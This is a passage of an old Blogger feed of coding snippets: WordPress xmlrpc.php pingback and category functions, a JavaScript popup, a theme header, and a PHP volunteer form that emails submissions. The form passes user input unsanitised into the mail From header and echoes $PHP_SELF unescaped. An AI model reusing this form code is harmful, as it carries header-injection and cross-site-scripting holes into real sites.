 function mt_getPostCategories($args) {

  $this-&amp;#62;escape($args);

  $post_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_post', $post_ID ) )
   return new IXR_Error( 401, __( 'Sorry, you can not edit this post.' ) );

  do_action('xmlrpc_call', 'mt.getPostCategories');

  $categories = array();
  $catids = wp_get_post_categories(intval($post_ID));
  // first listed category will be the primary category
  $isPrimary = true;
  foreach($catids as $catid) {
   $categories[] = array(
    'categoryName' =&amp;#62; get_cat_name($catid),
    'categoryId' =&amp;#62; (string) $catid,
    'isPrimary' =&amp;#62; $isPrimary
   );
   $isPrimary = false;
  }

  return $categories;
 }

 /**
  * Sets categories for a post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return bool True on success.
  */
 function mt_setPostCategories($args) {

  $this-&amp;#62;escape($args);

  $post_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];
  $categories  = $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'mt.setPostCategories');

  if ( !current_user_can('edit_post', $post_ID) )
   return new IXR_Error(401, __('Sorry, you cannot edit this post.'));

  foreach($categories as $cat) {
   $catids[] = $cat['categoryId'];
  }

  wp_set_post_categories($post_ID, $catids);

  return true;
 }

 /**
  * Retrieve an array of methods supported by this server.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function mt_supportedMethods($args) {

  do_action('xmlrpc_call', 'mt.supportedMethods');

  $supported_methods = array();
  foreach($this-&amp;#62;methods as $key=&amp;#62;$value) {
   $supported_methods[] = $key;
  }

  return $supported_methods;
 }

 /**
  * Retrieve an empty array because we don't support per-post text filters.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  */
 function mt_supportedTextFilters($args) {
  do_action('xmlrpc_call', 'mt.supportedTextFilters');
  return apply_filters('xmlrpc_text_filters', array());
 }

 /**
  * Retrieve trackbacks sent to a given post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return mixed
  */
 function mt_getTrackbackPings($args) {

  global $wpdb;

  $post_ID = intval($args);

  do_action('xmlrpc_call', 'mt.getTrackbackPings');

  $actual_post = wp_get_single_post($post_ID, ARRAY_A);

  if (!$actual_post) {
   return new IXR_Error(404, __('Sorry, no such post.'));
  }

  $comments = $wpdb-&amp;#62;get_results( $wpdb-&amp;#62;prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb-&amp;#62;comments WHERE comment_post_ID = %d", $post_ID) );

  if (!$comments) {
   return array();
  }

  $trackback_pings = array();
  foreach($comments as $comment) {
   if ( 'trackback' == $comment-&amp;#62;comment_type ) {
    $content = $comment-&amp;#62;comment_content;
    $title = substr($content, 8, (strpos($content, '&amp;#60;/strong&amp;#62;') - 8));
    $trackback_pings[] = array(
     'pingTitle' =&amp;#62; $title,
     'pingURL'   =&amp;#62; $comment-&amp;#62;comment_author_url,
     'pingIP'    =&amp;#62; $comment-&amp;#62;comment_author_IP
    );
  }
  }

  return $trackback_pings;
 }

 /**
  * Sets a post's publish status to 'publish'.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return int
  */
 function mt_publishPost($args) {

  $this-&amp;#62;escape($args);

  $post_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'mt.publishPost');

  if ( !current_user_can('edit_post', $post_ID) )
   return new IXR_Error(401, __('Sorry, you cannot edit this post.'));

  $postdata = wp_get_single_post($post_ID,ARRAY_A);

  $postdata['post_status'] = 'publish';

  // retain old cats
  $cats = wp_get_post_categories($post_ID);
  $postdata['post_category'] = $cats;
  $this-&amp;#62;escape($postdata);

  $result = wp_update_post($postdata);

  return $result;
 }

 /* PingBack functions
  * specs on www.hixie.ch/specs/pingback/pingback
  */

 /**
  * Retrieves a pingback and registers it.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function pingback_ping($args) {
  global $wpdb;

  do_action('xmlrpc_call', 'pingback.ping');

  $this-&amp;#62;escape($args);

  $pagelinkedfrom = $args[0];
  $pagelinkedto   = $args[1];

  $title = '';

  $pagelinkedfrom = str_replace('&amp;amp;', '&amp;', $pagelinkedfrom);
  $pagelinkedto = str_replace('&amp;amp;', '&amp;', $pagelinkedto);
  $pagelinkedto = str_replace('&amp;', '&amp;amp;', $pagelinkedto);

  // Check if the page linked to is in our site
  $pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
  if( !$pos1 )
   return new IXR_Error(0, __('Is there no link to us?'));

  // let's find which post is linked to
  // FIXME: does url_to_postid() cover all these cases already?
  //        if so, then let's use it and drop the old code.
  $urltest = parse_url($pagelinkedto);
  if ($post_ID = url_to_postid($pagelinkedto)) {
   $way = 'url_to_postid()';
  } elseif (preg_match('#p/[0-9]{1,}#', $urltest['path'], $match)) {
   // the path defines the post_ID (archives/p/XXXX)
   $blah = explode('/', $match[0]);
   $post_ID = (int) $blah[1];
   $way = 'from the path';
  } elseif (preg_match('#p=[0-9]{1,}#', $urltest['query'], $match)) {
   // the querystring defines the post_ID (?p=XXXX)
   $blah = explode('=', $match[0]);
   $post_ID = (int) $blah[1];
   $way = 'from the querystring';
  } elseif (isset($urltest['fragment'])) {
   // an #anchor is there, it's either...
   if (intval($urltest['fragment'])) {
    // ...an integer #XXXX (simpliest case)
    $post_ID = (int) $urltest['fragment'];
    $way = 'from the fragment (numeric)';
   } elseif (preg_match('/post-[0-9]+/',$urltest['fragment'])) {
    // ...a post id in the form 'post-###'
    $post_ID = preg_replace('/[^0-9]+/', '', $urltest['fragment']);
    $way = 'from the fragment (post-###)';
   } elseif (is_string($urltest['fragment'])) {
    // ...or a string #title, a little more complicated
    $title = preg_replace('/[^a-z0-9]/i', '.', $urltest['fragment']);
    $sql = $wpdb-&amp;#62;prepare("SELECT ID FROM $wpdb-&amp;#62;posts WHERE post_title RLIKE %s", $title);
    if (! ($post_ID = $wpdb-&amp;#62;get_var($sql)) ) {
     // returning unknown error '0' is better than die()ing
       return new IXR_Error(0, '');
    }
    $way = 'from the fragment (title)';
   }
  } else {
   // TODO: Attempt to extract a post ID from the given URL
     return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn&amp;#8217;t exist, or it is not a pingback-enabled resource.'));
  }
  $post_ID = (int) $post_ID;


  logIO("O","(PB) URL='$pagelinkedto' ID='$post_ID' Found='$way'");

  $post = get_post($post_ID);

  if ( !$post ) // Post_ID not found
     return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn&amp;#8217;t exist, or it is not a pingback-enabled resource.'));

  if ( $post_ID == url_to_postid($pagelinkedfrom) )
   return new IXR_Error(0, __('The source URL and the target URL cannot both point to the same resource.'));

  // Check if pings are on
  if ( !pings_open($post) )
     return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn&amp;#8217;t exist, or it is not a pingback-enabled resource.'));

  // Let's check that the remote site didn't already pingback this entry
  $wpdb-&amp;#62;get_results( $wpdb-&amp;#62;prepare("SELECT * FROM $wpdb-&amp;#62;comments WHERE comment_post_ID = %d AND comment_author_url = %s", $post_ID, $pagelinkedfrom) );

  if ( $wpdb-&amp;#62;num_rows ) // We already have a Pingback from this URL
     return new IXR_Error(48, __('The pingback has already been registered.'));

  // very stupid, but gives time to the 'from' server to publish !
  sleep(1);

  // Let's check the remote site
  $linea = wp_remote_fopen( $pagelinkedfrom );
  if ( !$linea )
     return new IXR_Error(16, __('The source URL does not exist.'));

  $linea = apply_filters('pre_remote_source', $linea, $pagelinkedto);

  // Work around bug in strip_tags():
  $linea = str_replace('&amp;#60;!DOC', '&amp;#60;DOC', $linea);
  $linea = preg_replace( '/[\s\r\n\t]+/', ' ', $linea ); // normalize spaces
  $linea = preg_replace( "/ &amp;#60;(h1|h2|h3|h4|h5|h6|p|th|td|li|dt|dd|pre|caption|input|textarea|button|body)[^&amp;#62;]*&amp;#62;/", "\n\n", $linea );

  preg_match('|&amp;#60;title&amp;#62;([^&amp;#60;]*?)&amp;#60;/title&amp;#62;|is', $linea, $matchtitle);
  $title = $matchtitle[1];
  if ( empty( $title ) )
   return new IXR_Error(32, __('We cannot find a title on that page.'));

  $linea = strip_tags( $linea, '&amp;#60;a&amp;#62;' ); // just keep the tag we need

  $p = explode( "\n\n", $linea );

  $preg_target = preg_quote($pagelinkedto, '|');

  foreach ( $p as $para ) {
   if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link?
    preg_match("|&amp;#60;a[^&amp;#62;]+?".$preg_target."[^&amp;#62;]*&amp;#62;([^&amp;#62;]+?)&amp;#60;/a&amp;#62;|", $para, $context);

    // If the URL isn't in a link context, keep looking
    if ( empty($context) )
     continue;

    // We're going to use this fake tag to mark the context in a bit
    // the marker is needed in case the link text appears more than once in the paragraph
    $excerpt = preg_replace('|\&amp;#60;/?wpcontext\&amp;#62;|', '', $para);

    // prevent really long link text
    if ( strlen($context[1]) &amp;#62; 100 )
     $context[1] = substr($context[1], 0, 100) . '...';

    $marker = '&amp;#60;wpcontext&amp;#62;'.$context[1].'&amp;#60;/wpcontext&amp;#62;';    // set up our marker
    $excerpt= str_replace($context[0], $marker, $excerpt); // swap out the link for our marker
    $excerpt = strip_tags($excerpt, '&amp;#60;wpcontext&amp;#62;');        // strip all tags but our context marker
    $excerpt = trim($excerpt);
    $preg_marker = preg_quote($marker, '|');
    $excerpt = preg_replace("|.*?\s(.{0,100}$preg_marker.{0,100})\s.*|s", '$1', $excerpt);
    $excerpt = strip_tags($excerpt); // YES, again, to remove the marker wrapper
    break;
   }
  }

  if ( empty($context) ) // Link to target not found
   return new IXR_Error(17, __('The source URL does not contain a link to the target URL, and so cannot be used as a source.'));

  $pagelinkedfrom = str_replace('&amp;', '&amp;amp;', $pagelinkedfrom);

  $context = '[...] ' . esc_html( $excerpt ) . ' [...]';
  $pagelinkedfrom = $wpdb-&amp;#62;escape( $pagelinkedfrom );

  $comment_post_ID = (int) $post_ID;
  $comment_author = $title;
  $this-&amp;#62;escape($comment_author);
  $comment_author_url = $pagelinkedfrom;
  $comment_content = $context;
  $this-&amp;#62;escape($comment_content);
  $comment_type = 'pingback';

  $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_content', 'comment_type');

  $comment_ID = wp_new_comment($commentdata);
  do_action('pingback_post', $comment_ID);

  return sprintf(__('Pingback from %1$s to %2$s registered. Keep the web talking! :-)'), $pagelinkedfrom, $pagelinkedto);
 }

 /**
  * Retrieve array of URLs that pingbacked the given URL.
  *
  * Specs on http://www.aquarionics.com/misc/archives/blogite/0198.html
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function pingback_extensions_getPingbacks($args) {

  global $wpdb;

  do_action('xmlrpc_call', 'pingback.extensions.getPingbacks');

  $this-&amp;#62;escape($args);

  $url = $args;

  $post_ID = url_to_postid($url);
  if (!$post_ID) {
   // We aren't sure that the resource is available and/or pingback enabled
     return new IXR_Error(33, __('The specified target URL cannot be used as a target. It either doesn&amp;#8217;t exist, or it is not a pingback-enabled resource.'));
  }

  $actual_post = wp_get_single_post($post_ID, ARRAY_A);

  if (!$actual_post) {
   // No such post = resource not found
     return new IXR_Error(32, __('The specified target URL does not exist.'));
  }

  $comments = $wpdb-&amp;#62;get_results( $wpdb-&amp;#62;prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb-&amp;#62;comments WHERE comment_post_ID = %d", $post_ID) );

  if (!$comments) {
   return array();
  }

  $pingbacks = array();
  foreach($comments as $comment) {
   if ( 'pingback' == $comment-&amp;#62;comment_type )
    $pingbacks[] = $comment-&amp;#62;comment_author_url;
  }

  return $pingbacks;
 }
}

$wp_xmlrpc_server = new wp_xmlrpc_server();

?&amp;#62;
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3404973501085304058?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3404973501085304058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3404973501085304058' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3404973501085304058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3404973501085304058'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/11/wordpress-xmlrpcphp.html' title='Wordpress xmlrpc.php'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-5804562078691122350</id><published>2009-11-21T03:58:00.000-08:00</published><updated>2009-11-21T05:43:39.705-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='popup'/><title type='text'>Javascript Popup</title><content type='html'>Within header of HTML document that launches the popup:
&lt;pre&gt;
&amp;#60;script type="text/javascript"&amp;#62;
var theURL = '/global_files/sending.php'
var width  = 200;
var height = 50;
function popWindow() {
newWindow = window.open(theURL,'newWindow','toolbar=no,menubar=no,left=200,top=300,resizable=no,scrollbars=no,status=no,location=no,width='+width+',height='+height);
}
 &amp;#60;/script&amp;#62;
&lt;/pre&gt;

/global_files/sending.php:
&lt;pre&gt;
&amp;#60;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;#62;
&amp;#60;html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"&amp;#62;
&amp;#60;head profile="http://gmpg.org/xfn/11"&amp;#62;
&amp;#60;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&amp;#62;
&amp;#60;META NAME="Author" CONTENT="Lance Miller, this.is.lance.miller@gmail.com"&amp;#62;
&amp;#60;title&amp;#62;
Sending
&amp;#60;/title&amp;#62;
&amp;#60;style type="text/css" media="all"&amp;#62;
  @import url("&amp;#60;?php echo ${css_remote}; ?&amp;#62;");
&amp;#60;/style&amp;#62;
&amp;#60;style type="text/css"&amp;#62;
body {
background:#CCCCCC;
color:#000000;
}
&amp;#60;/style&amp;#62;
&amp;#60;script type="text/javascript"&amp;#62;
var howLong = 3000;
t = null;
function closeMe(){
t = setTimeout("self.close()",howLong);
}

window.onload=function() {
closeMe()
self.focus()
}
&amp;#60;/script&amp;#62;
&amp;#60;/head&amp;#62;
&amp;#60;body&amp;#62;
sending please wait...
&amp;#60;/body&amp;#62;
&amp;#60;/html&amp;#62;
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-5804562078691122350?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/5804562078691122350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=5804562078691122350' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/5804562078691122350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/5804562078691122350'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/11/javascript-popup.html' title='Javascript Popup'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4930368813110526371</id><published>2009-11-17T21:43:00.000-08:00</published><updated>2009-11-17T21:45:09.172-08:00</updated><title type='text'>MySQL date to Month Day Year</title><content type='html'>&lt;pre&gt;
${mydate} = strtotime($row['post_date']);
echo  (date("F j, Y ", ${mydate}));
&lt;/pre&gt;
outputs:&lt;br /&gt;
November 17, 2009&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4930368813110526371?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4930368813110526371/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4930368813110526371' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4930368813110526371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4930368813110526371'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/11/mysql-date-to-month-day-year.html' title='MySQL date to Month Day Year'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4274505818489794003</id><published>2009-10-31T04:30:00.000-07:00</published><updated>2009-11-23T06:15:40.936-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wordpress'/><title type='text'>Javascript in Wordpress</title><content type='html'>&lt;p&gt;
httpdocs/wordpress/wp-content/themes/default/header.php &amp;gt;&amp;gt; MYJAVASCRIPTFILE.js
&lt;/p&gt;
&lt;pre&gt;
&amp;#60;?php
/**
 * @package WordPress
 * @subpackage Default_Theme
 */
?&amp;#62;
&amp;#60;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;#62;
&amp;#60;html xmlns="http://www.w3.org/1999/xhtml" &amp;#60;?php language_attributes(); ?&amp;#62;&amp;#62;

&amp;#60;head profile="http://gmpg.org/xfn/11"&amp;#62;
&amp;#60;meta http-equiv="Content-Type" content="&amp;#60;?php bloginfo('html_type'); ?&amp;#62;; charset=&amp;#60;?php bloginfo('charset'); ?&amp;#62;" /&amp;#62;

&amp;#60;title&amp;#62;&amp;#60;?php wp_title('&amp;laquo;', true, 'right'); ?&amp;#62; &amp;#60;?php bloginfo('name'); ?&amp;#62;&amp;#60;/title&amp;#62;

&amp;#60;script type="text/javascript" src="/javascript/MYJAVASCRIPTFILE.js"&amp;#62;
 &amp;#60;/script&amp;#62;

&amp;#60;link rel="stylesheet" href="&amp;#60;?php bloginfo('stylesheet_url'); ?&amp;#62;" type="text/css" media="screen" /&amp;#62;
&amp;#60;link rel="pingback" href="&amp;#60;?php bloginfo('pingback_url'); ?&amp;#62;" /&amp;#62;

&amp;#60;style type="text/css" media="screen"&amp;#62;

&amp;#60;?php
// Checks to see whether it needs a sidebar or not
if ( empty($withcomments) &amp;&amp; !is_single() ) {
?&amp;#62;
 #page { background: url("&amp;#60;?php bloginfo('stylesheet_directory'); ?&amp;#62;/images/kubrickbg-&amp;#60;?php bloginfo('text_direction'); ?&amp;#62;.jpg") repeat-y top; border: none; }
&amp;#60;?php } else { // No sidebar ?&amp;#62;
 #page { background: url("&amp;#60;?php bloginfo('stylesheet_directory'); ?&amp;#62;/images/kubrickbgwide.jpg") repeat-y top; border: none; }
&amp;#60;?php } ?&amp;#62;

&amp;#60;/style&amp;#62;

&amp;#60;?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?&amp;#62;

&amp;#60;?php wp_head(); ?&amp;#62;
&amp;#60;/head&amp;#62;
&amp;#60;body &amp;#60;?php body_class(); ?&amp;#62;&amp;#62;
&amp;#60;div id="page"&amp;#62;


&amp;#60;div id="header" role="banner"&amp;#62;
 &amp;#60;div id="headerimg"&amp;#62;
  &amp;#60;h1&amp;#62;&amp;#60;a href="&amp;#60;?php echo get_option('home'); ?&amp;#62;/"&amp;#62;&amp;#60;?php bloginfo('name'); ?&amp;#62;&amp;#60;/a&amp;#62;&amp;#60;/h1&amp;#62;
  &amp;#60;div class="description"&amp;#62;&amp;#60;?php bloginfo('description'); ?&amp;#62;&amp;#60;/div&amp;#62;
 &amp;#60;/div&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;hr /&amp;#62;
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4274505818489794003?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4274505818489794003/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4274505818489794003' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4274505818489794003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4274505818489794003'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/10/javascript-in-wordpress.html' title='Javascript in Wordpress'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-1188874920832453059</id><published>2009-10-19T04:43:00.000-07:00</published><updated>2009-10-31T04:41:19.545-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><title type='text'>helloworld.C</title><content type='html'>&lt;pre&gt;
#include &amp;lt;iostream&amp;gt;

using namespace std;

int main()
{
  int thisisanumber;
  cout&lt;&lt;"\ncompiled with this command:\ng++ -g helloworld.C -o helloworld\n\n";
  cout&lt;&lt;"Please enter a number: ";
  cin&gt;&gt; thisisanumber;
  cin.ignore();
  cout&lt;&lt;"You entered: "&lt;&lt; thisisanumber &lt;&lt;"\n";
  cin.get();
}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-1188874920832453059?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/1188874920832453059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=1188874920832453059' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1188874920832453059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1188874920832453059'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/10/helloworldc.html' title='helloworld.C'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4101271019901451446</id><published>2009-10-16T06:19:00.000-07:00</published><updated>2009-10-16T06:49:20.698-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='email'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='webform'/><title type='text'>PHP webform emails XML plain text</title><content type='html'>&lt;p&gt;
The PHP code that generates an email is so short due to using &lt;i&gt;foreach($_POST as $key =&amp;#62; $value)&lt;/i&gt;. I was able to use the key names because, in the HTML form, I named the input fields with full, readable, descriptive names ( i.e. first_name rather than fname ). 
&lt;/p&gt;&lt;p&gt;
The email is encoded as plain text. I originally set it up to send an ugly output from the form. Then the users requested XML. It was amazing how simple that was to add. I'd recommend XML as the structured output, oddly, for the readability alone.  
&lt;/p&gt;
&lt;pre&gt;
SIMPLEST XML EXAMPLE
&amp;#60;?xml version="1.0" encoding="ISO-8859-1"?&amp;#62;
&amp;#60;note&amp;#62;
 &amp;#60;to&amp;#62;Tove&amp;#60;/to&amp;#62;
 &amp;#60;from&amp;#62;Jani&amp;#60;/from&amp;#62;
 &amp;#60;heading&amp;#62;Reminder&amp;#60;/heading&amp;#62;
 &amp;#60;body&amp;#62;Don't forget me this weekend!&amp;#60;/body&amp;#62;
&amp;#60;/note&amp;#62;
&lt;/pre&gt;
&lt;pre&gt;
&amp;#60;?php
$recipient = "this.is.lance.miller@gmail.com";
$message = "";
$ip = $_SERVER['REMOTE_ADDR'];
$email = "this.is.lance.miller@gmail.com";
if ($_POST['email']) { $email = $_POST['email'] ; }
if ($_POST['submit']) {
$message = "&amp;#60;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&amp;#62;\n&amp;#60;!-- html/php/xml code by this.is.lance.miller@gmail.com --&amp;#62;\n";
$message .= "&amp;#60;volunteer&amp;#62;\n";
foreach($_POST as $key =&amp;#62; $value) {
 if ($key != "submit") { $message .= "\t&amp;#60;$key&amp;#62;\n\t$value\n\t&amp;#60;/$key&amp;#62;\n";}
                                  }
$message .="\t&amp;#60;remote_address&amp;#62;\n\t${ip}\n\t&amp;#60;/remote_address&amp;#62;\n";
$message .= "&amp;#60;/volunteer&amp;#62;\n";
mail( $recipient , "Volunteer Form Submission $email $ip", $message, "From: $email" );
echo "Thank you. Your information has been sent.";
} else {

?&amp;#62;
&amp;#60;h1&amp;#62;Volunteer Application Form&amp;#60;/h1&amp;#62;
&amp;#60;div style="padding:5px;background:#CCCCCC"&amp;#62;
&amp;#60;form name="volunteer_form" method="POST" action="&amp;#60;?php echo $PHP_SELF;?&amp;#62;"&amp;#62;
CONTACT INFORMATION:
&amp;#60;br /&amp;#62;
First Name:&amp;#60;input type="text" name="first_name" size="25" /&amp;#62;
Last Name:&amp;#60;input type="text" name="last_name" size="25" /&amp;#62;
&amp;#60;br /&amp;#62;
Address:&amp;#60;input type="text" name="address" size="80" /&amp;#62;
&amp;#60;br /&amp;#62;
Email:&amp;#60;input type="text" name="email" size="80" /&amp;#62;
&amp;#60;br /&amp;#62;
Home Phone:&amp;#60;input type="text" name="home_phone" size="16" /&amp;#62;
Other Phone:&amp;#60;input type="text" name="other_phone" size="16" /&amp;#62;
&amp;#60;br /&amp;#62;
Emergency Contact:&amp;#60;input type="text" name="emergency_contact" size="25" /&amp;#62;
Phone:&amp;#60;input type="text" name="emergency_contact_phone" size="16" /&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:2px"&amp;#62;
&amp;#60;/div&amp;#62;
&amp;#60;div style="padding:5px;background:#CCCCCC"&amp;#62;
AVAILABILITY:
&amp;#60;br /&amp;#62;
&amp;#60;table&amp;#62;&amp;#60;tr&amp;#62;
&amp;#60;td valign="top" align="left"&amp;#62;
Weekdays &amp;#60;input type="radio" name="weekdays" value="Yes"&amp;#62; Yes &amp;#60;input type="radio" name="weekdays" value="No"&amp;#62; No 
&amp;#60;br /&amp;#62;
Weekends &amp;#60;input type="radio" name="weekends" value="Yes"&amp;#62; Yes &amp;#60;input type="radio" name="weekends" value="No"&amp;#62; No 
&amp;#60;br /&amp;#62;
Evenings &amp;#60;input type="radio" name="evenings" value="Yes"&amp;#62; Yes &amp;#60;input type="radio" name="evenings" value="No"&amp;#62; No 
&amp;#60;br /&amp;#62;
&amp;#60;/td&amp;#62;&amp;#60;td valign="top" align="right"&amp;#62;
&amp;#60;textarea cols="60" rows="4" name="details"&amp;#62;
Details here if needed: 
&amp;#60;/textarea&amp;#62;
&amp;#60;/td&amp;#62;&amp;#60;/tr&amp;#62;&amp;#60;/table&amp;#62;
&amp;#60;br /&amp;#62;
What events are you interested in volunteering for at the Abbotsford Entertainment and Sports Center?
&amp;#60;br /&amp;#62;
&amp;#60;input type="radio" name="concerts" value="Yes"&amp;#62; Concerts
&amp;#60;input type="radio" name="hockey" value="Yes"&amp;#62; Hockey
&amp;#60;input type="radio" name="theatre" value="Yes"&amp;#62; Theatre
&amp;#60;br /&amp;#62;
&amp;#60;input type="radio" name="trade_shows" value="Yes"&amp;#62; Trade Shows
&amp;#60;input type="radio" name="private_events" value="Yes"&amp;#62; Private Events
&amp;#60;br /&amp;#62;
&amp;#60;/div&amp;#62;
